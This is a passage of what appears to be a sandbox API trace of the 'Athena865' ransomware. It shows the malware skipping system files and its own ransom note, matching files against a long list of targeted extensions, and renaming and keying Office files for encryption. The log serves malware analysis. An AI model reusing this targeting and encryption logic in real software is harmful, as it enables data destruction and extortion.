(lpString1="ini", lpString2="xdb") returned -1 [0153.113] lstrlenW (lpString="xld") returned 3 [0153.114] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0153.114] lstrlenW (lpString="xmlff") returned 5 [0153.114] lstrcmpiW (lpString1="e.ini", lpString2="xmlff") returned -1 [0153.114] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini.Athena865") returned 78 [0153.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini.athena865"), dwFlags=0x1) returned 1 [0153.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.116] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=123) returned 1 [0153.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.116] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.117] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.117] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.117] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0153.119] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0153.120] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.121] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.121] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.121] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.121] CloseHandle (hObject=0x154) returned 1 [0153.121] CloseHandle (hObject=0x17c) returned 1 [0153.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.122] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNOteFilter.dll", cAlternateFileName="SENDTO~1.DLL")) returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="..") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="windows") returned -1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="bootmgr") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="temp") returned -1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="pagefile.sys") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="boot") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="ids.txt") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="ntuser.dat") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="perflogs") returned 1 [0153.122] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2="MSBuild") returned 1 [0153.122] lstrlenW (lpString="SendToOneNOteFilter.dll") returned 23 [0153.122] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendToOneNOteFilter.dll" | out: lpString1="SendToOneNOteFilter.dll") returned="SendToOneNOteFilter.dll" [0153.122] lstrlenW (lpString="SendToOneNOteFilter.dll") returned 23 [0153.122] lstrlenW (lpString="Athena865") returned 9 [0153.123] lstrcmpiW (lpString1="ilter.dll", lpString2="Athena865") returned 1 [0153.123] lstrlenW (lpString=".dll") returned 4 [0153.123] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".dll") returned 1 [0153.123] lstrlenW (lpString=".lnk") returned 4 [0153.123] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".lnk") returned 1 [0153.123] lstrlenW (lpString=".ini") returned 4 [0153.123] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".ini") returned 1 [0153.123] lstrlenW (lpString=".sys") returned 4 [0153.123] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".sys") returned 1 [0153.123] lstrlenW (lpString="SendToOneNOteFilter.dll") returned 23 [0153.123] lstrlenW (lpString="bak") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0153.123] lstrlenW (lpString="ba_") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0153.123] lstrlenW (lpString="dbb") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0153.123] lstrlenW (lpString="vmdk") returned 4 [0153.123] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0153.123] lstrlenW (lpString="rar") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0153.123] lstrlenW (lpString="zip") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0153.123] lstrlenW (lpString="tgz") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0153.123] lstrlenW (lpString="vbox") returned 4 [0153.123] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0153.123] lstrlenW (lpString="vdi") returned 3 [0153.123] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0153.124] lstrlenW (lpString="vhd") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0153.124] lstrlenW (lpString="vhdx") returned 4 [0153.124] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0153.124] lstrlenW (lpString="avhd") returned 4 [0153.124] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0153.124] lstrlenW (lpString="db") returned 2 [0153.124] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0153.124] lstrlenW (lpString="db2") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0153.124] lstrlenW (lpString="db3") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0153.124] lstrlenW (lpString="dbf") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0153.124] lstrlenW (lpString="mdf") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0153.124] lstrlenW (lpString="mdb") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0153.124] lstrlenW (lpString="sql") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0153.124] lstrlenW (lpString="sqlite") returned 6 [0153.124] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0153.124] lstrlenW (lpString="sqlite3") returned 7 [0153.124] lstrcmpiW (lpString1="ter.dll", lpString2="sqlite3") returned 1 [0153.124] lstrlenW (lpString="sqlitedb") returned 8 [0153.124] lstrcmpiW (lpString1="lter.dll", lpString2="sqlitedb") returned -1 [0153.124] lstrlenW (lpString="xml") returned 3 [0153.124] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0153.124] lstrlenW (lpString="$er") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0153.125] lstrlenW (lpString="4dd") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0153.125] lstrlenW (lpString="4dl") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0153.125] lstrlenW (lpString="^^^") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0153.125] lstrlenW (lpString="abs") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0153.125] lstrlenW (lpString="abx") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0153.125] lstrlenW (lpString="accdb") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0153.125] lstrlenW (lpString="accdc") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0153.125] lstrlenW (lpString="accde") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0153.125] lstrlenW (lpString="accdr") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0153.125] lstrlenW (lpString="accdt") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0153.125] lstrlenW (lpString="accdw") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0153.125] lstrlenW (lpString="accft") returned 5 [0153.125] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0153.125] lstrlenW (lpString="adb") returned 3 [0153.125] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0153.125] lstrlenW (lpString="adb") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0153.126] lstrlenW (lpString="ade") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0153.126] lstrlenW (lpString="adf") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0153.126] lstrlenW (lpString="adn") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0153.126] lstrlenW (lpString="adp") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0153.126] lstrlenW (lpString="alf") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0153.126] lstrlenW (lpString="ask") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0153.126] lstrlenW (lpString="btr") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0153.126] lstrlenW (lpString="cat") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0153.126] lstrlenW (lpString="cdb") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0153.126] lstrlenW (lpString="ckp") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0153.126] lstrlenW (lpString="cma") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0153.126] lstrlenW (lpString="cpd") returned 3 [0153.126] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0153.126] lstrlenW (lpString="dacpac") returned 6 [0153.126] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0153.126] lstrlenW (lpString="dad") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0153.127] lstrlenW (lpString="dadiagrams") returned 10 [0153.127] lstrcmpiW (lpString1="Filter.dll", lpString2="dadiagrams") returned 1 [0153.127] lstrlenW (lpString="daschema") returned 8 [0153.127] lstrcmpiW (lpString1="lter.dll", lpString2="daschema") returned 1 [0153.127] lstrlenW (lpString="db-journal") returned 10 [0153.127] lstrcmpiW (lpString1="Filter.dll", lpString2="db-journal") returned 1 [0153.127] lstrlenW (lpString="db-shm") returned 6 [0153.127] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0153.127] lstrlenW (lpString="db-wal") returned 6 [0153.127] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0153.127] lstrlenW (lpString="dbc") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0153.127] lstrlenW (lpString="dbs") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0153.127] lstrlenW (lpString="dbt") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0153.127] lstrlenW (lpString="dbv") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0153.127] lstrlenW (lpString="dbx") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0153.127] lstrlenW (lpString="dcb") returned 3 [0153.127] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0153.127] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNOteFilter.dll.Athena865") returned 84 [0153.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNOteFilter.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNOteFilter.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.dll.athena865"), dwFlags=0x1) returned 1 [0153.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNOteFilter.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.129] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114568) returned 1 [0153.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.130] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.130] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.130] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.131] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c290, lpName=0x0) returned 0x154 [0153.134] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c290) returned 0x100000 [0153.142] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.143] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.143] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.144] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.145] CloseHandle (hObject=0x154) returned 1 [0153.145] CloseHandle (hObject=0x17c) returned 1 [0153.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.146] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b7d200, ftCreationTime.dwHighDateTime=0x1c8edfe, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf5b7d200, ftLastWriteTime.dwHighDateTime=0x1c8edfe, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendtoOneNoteFilter.gpd", cAlternateFileName="SENDTO~2.GPD")) returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="..") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="windows") returned -1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="bootmgr") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="temp") returned -1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="pagefile.sys") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="boot") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="ids.txt") returned 1 [0153.146] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="ntuser.dat") returned 1 [0153.147] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="perflogs") returned 1 [0153.147] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2="MSBuild") returned 1 [0153.147] lstrlenW (lpString="SendtoOneNoteFilter.gpd") returned 23 [0153.147] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendtoOneNoteFilter.gpd" | out: lpString1="SendtoOneNoteFilter.gpd") returned="SendtoOneNoteFilter.gpd" [0153.147] lstrlenW (lpString="SendtoOneNoteFilter.gpd") returned 23 [0153.147] lstrlenW (lpString="Athena865") returned 9 [0153.147] lstrcmpiW (lpString1="ilter.gpd", lpString2="Athena865") returned 1 [0153.147] lstrlenW (lpString=".dll") returned 4 [0153.147] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".dll") returned 1 [0153.147] lstrlenW (lpString=".lnk") returned 4 [0153.147] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".lnk") returned 1 [0153.147] lstrlenW (lpString=".ini") returned 4 [0153.147] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".ini") returned 1 [0153.147] lstrlenW (lpString=".sys") returned 4 [0153.147] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".sys") returned 1 [0153.147] lstrlenW (lpString="SendtoOneNoteFilter.gpd") returned 23 [0153.147] lstrlenW (lpString="bak") returned 3 [0153.147] lstrcmpiW (lpString1="gpd", lpString2="bak") returned 1 [0153.147] lstrlenW (lpString="ba_") returned 3 [0153.147] lstrcmpiW (lpString1="gpd", lpString2="ba_") returned 1 [0153.147] lstrlenW (lpString="dbb") returned 3 [0153.147] lstrcmpiW (lpString1="gpd", lpString2="dbb") returned 1 [0153.147] lstrlenW (lpString="vmdk") returned 4 [0153.147] lstrcmpiW (lpString1=".gpd", lpString2="vmdk") returned -1 [0153.147] lstrlenW (lpString="rar") returned 3 [0153.147] lstrcmpiW (lpString1="gpd", lpString2="rar") returned -1 [0153.147] lstrlenW (lpString="zip") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="zip") returned -1 [0153.148] lstrlenW (lpString="tgz") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="tgz") returned -1 [0153.148] lstrlenW (lpString="vbox") returned 4 [0153.148] lstrcmpiW (lpString1=".gpd", lpString2="vbox") returned -1 [0153.148] lstrlenW (lpString="vdi") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="vdi") returned -1 [0153.148] lstrlenW (lpString="vhd") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="vhd") returned -1 [0153.148] lstrlenW (lpString="vhdx") returned 4 [0153.148] lstrcmpiW (lpString1=".gpd", lpString2="vhdx") returned -1 [0153.148] lstrlenW (lpString="avhd") returned 4 [0153.148] lstrcmpiW (lpString1=".gpd", lpString2="avhd") returned -1 [0153.148] lstrlenW (lpString="db") returned 2 [0153.148] lstrcmpiW (lpString1="pd", lpString2="db") returned 1 [0153.148] lstrlenW (lpString="db2") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="db2") returned 1 [0153.148] lstrlenW (lpString="db3") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="db3") returned 1 [0153.148] lstrlenW (lpString="dbf") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="dbf") returned 1 [0153.148] lstrlenW (lpString="mdf") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="mdf") returned -1 [0153.148] lstrlenW (lpString="mdb") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="mdb") returned -1 [0153.148] lstrlenW (lpString="sql") returned 3 [0153.148] lstrcmpiW (lpString1="gpd", lpString2="sql") returned -1 [0153.148] lstrlenW (lpString="sqlite") returned 6 [0153.149] lstrcmpiW (lpString1="er.gpd", lpString2="sqlite") returned -1 [0153.149] lstrlenW (lpString="sqlite3") returned 7 [0153.149] lstrcmpiW (lpString1="ter.gpd", lpString2="sqlite3") returned 1 [0153.149] lstrlenW (lpString="sqlitedb") returned 8 [0153.149] lstrcmpiW (lpString1="lter.gpd", lpString2="sqlitedb") returned -1 [0153.149] lstrlenW (lpString="xml") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="xml") returned -1 [0153.149] lstrlenW (lpString="$er") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="$er") returned 1 [0153.149] lstrlenW (lpString="4dd") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="4dd") returned 1 [0153.149] lstrlenW (lpString="4dl") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="4dl") returned 1 [0153.149] lstrlenW (lpString="^^^") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="^^^") returned 1 [0153.149] lstrlenW (lpString="abs") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="abs") returned 1 [0153.149] lstrlenW (lpString="abx") returned 3 [0153.149] lstrcmpiW (lpString1="gpd", lpString2="abx") returned 1 [0153.149] lstrlenW (lpString="accdb") returned 5 [0153.149] lstrcmpiW (lpString1="r.gpd", lpString2="accdb") returned 1 [0153.149] lstrlenW (lpString="accdc") returned 5 [0153.149] lstrcmpiW (lpString1="r.gpd", lpString2="accdc") returned 1 [0153.149] lstrlenW (lpString="accde") returned 5 [0153.149] lstrcmpiW (lpString1="r.gpd", lpString2="accde") returned 1 [0153.149] lstrlenW (lpString="accdr") returned 5 [0153.149] lstrcmpiW (lpString1="r.gpd", lpString2="accdr") returned 1 [0153.149] lstrlenW (lpString="accdt") returned 5 [0153.149] lstrcmpiW (lpString1="r.gpd", lpString2="accdt") returned 1 [0153.150] lstrlenW (lpString="accdw") returned 5 [0153.150] lstrcmpiW (lpString1="r.gpd", lpString2="accdw") returned 1 [0153.150] lstrlenW (lpString="accft") returned 5 [0153.150] lstrcmpiW (lpString1="r.gpd", lpString2="accft") returned 1 [0153.150] lstrlenW (lpString="adb") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1 [0153.150] lstrlenW (lpString="adb") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1 [0153.150] lstrlenW (lpString="ade") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="ade") returned 1 [0153.150] lstrlenW (lpString="adf") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="adf") returned 1 [0153.150] lstrlenW (lpString="adn") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="adn") returned 1 [0153.150] lstrlenW (lpString="adp") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="adp") returned 1 [0153.150] lstrlenW (lpString="alf") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="alf") returned 1 [0153.150] lstrlenW (lpString="ask") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="ask") returned 1 [0153.150] lstrlenW (lpString="btr") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="btr") returned 1 [0153.150] lstrlenW (lpString="cat") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="cat") returned 1 [0153.150] lstrlenW (lpString="cdb") returned 3 [0153.150] lstrcmpiW (lpString1="gpd", lpString2="cdb") returned 1 [0153.150] lstrlenW (lpString="ckp") returned 3 [0153.151] lstrcmpiW (lpString1="gpd", lpString2="ckp") returned 1 